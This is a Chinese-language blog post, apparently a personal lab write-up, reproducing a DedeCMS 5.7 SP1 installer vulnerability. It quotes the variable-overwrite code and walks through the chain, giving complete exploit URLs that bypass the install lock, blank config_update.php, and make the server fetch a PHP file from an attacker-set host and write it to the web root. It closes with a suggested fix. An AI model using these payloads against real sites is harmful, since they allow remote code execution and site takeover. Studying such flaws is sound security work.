前面看一个视频提到这个漏洞的复现,自己觉得这种漏洞复现然后分析原因还是蛮有意思的,所以这里也来实现一下这个漏洞的复现,自己动手还是很重要的一个过程吧
首先是搭建环境,phpstudy + dedecms5.7 sp1基本是一键安装
漏洞原因主要是在install的index.php文件中
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
可以看到30到33行这里,有变量覆盖的漏洞,这里通过get, post, cookie传参,来实现变量覆盖
else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = UPDATEHOST."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen(INSTALL_DEMO_NAME,'w');
if(fwrite($fp,$sql_content))
echo ' [√] 存在(您可以选择安装进行体验)';
else
echo ' [×] 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
417到430可以看到有一个require_once,这个文件主要提供UPDATEHOST和另一个参数
/**
* 更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
*
* @version $Id: config_update.php 1 11:36 2011-2-21 tianya $
* @package DedeCMS.Administrator
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
//更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
define('UPDATEHOST', 'http://updatenew.dedecms.com/base-v57/');
define('LINKHOST', 'http://flink.dedecms.com/server_url.php');
现在我们的思路主要是利用下面的两句话来把我们想要上传的语句放上去
$rmurl = UPDATEHOST."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
后面会把$sql_content写入文件,因为有变量覆盖所以参数都可控
这里我们要做的第一步就是搞定UPDATEHOST,因为这个参数不能直接通过变量覆盖解决,这里我门希望是能指向我们的远程攻击机。
这时候我们可以利用下面的fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件
而file_get_contents一直读取文件失败会返回NULL,利用这两点
我们利用变量覆盖,将$s_lang随意取名成不存在的文件名,INSTALL_DEMO_NAME指向…/data/admin/config_update.php,然后为了程序能执行到这里我们将$step设为11
最后程序37到40行
if(file_exists(INSLOCKFILE))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
这里有一个判断文件是否存在(也就判断是否安装)的条件判断需要绕过,也是将INSLOCKFILE构造成任意不存在的文件就可以
OK所以第一个payload如下
/install/index.php?step=11&s_lang=haha&INSLOCKFILE=haha&iINSTALL_DEMO_NAME=…/data/admin/config_update.php
发现执行后不行没有绕过if(file_exists(INSLOCKFILE))这里的判断…瞬间懵逼…
检查了下没问题啊…后面看了下版本发现这是SP2了…
重新下sp1,前面的分析思路是没有变化的,注意SP1的一些变量变为了小写
/install/index.php?step=11&s_lang=haha&insLockfile=haha&install_demo_name=…/data/admin/config_update.php
运行后出现如上界面,再去查看…/data/admin/config_update.php会发现已经变为0kb,空文件
下面我们就可以开始远程文件包含上传我们想要上传的文件了
s_lang改为我们这边的文件名,install_demo_name改为我们想要上传的路径,updateHost改为远程目标机ip
/install/index.php?step=11&s_lang=haha&insLockfile=haha&install_demo_name=…/haha.php&updateHost=http://127.0.0.1/
出现如上界面说明写入成功
可以看到确实上传成功了
访问一下
漏洞成功复现
这里因为本人贫穷所以是在本地试的,
可以随便新建一个网站
建个http://xxx.xxx.xxx.xxx/dedecms/demodata.$s_lang.txt
来进行尝试
首先复现一遍后还是加深了自己对文件包含漏洞的理解,以及这里漏洞利用中利用fopen函数这些操作的认识,整体还是很有意义的
这里最开始做sp2,但sp2和sp1的index的代码除了大小写并没有看出什么不一样,这里它怎么修补的还是不是很清楚,反正给我修补的话我会把if(file_exists($insLockfile))这个移到参数覆盖前来做一个简单的修补…当然这样可能会引起别的问题…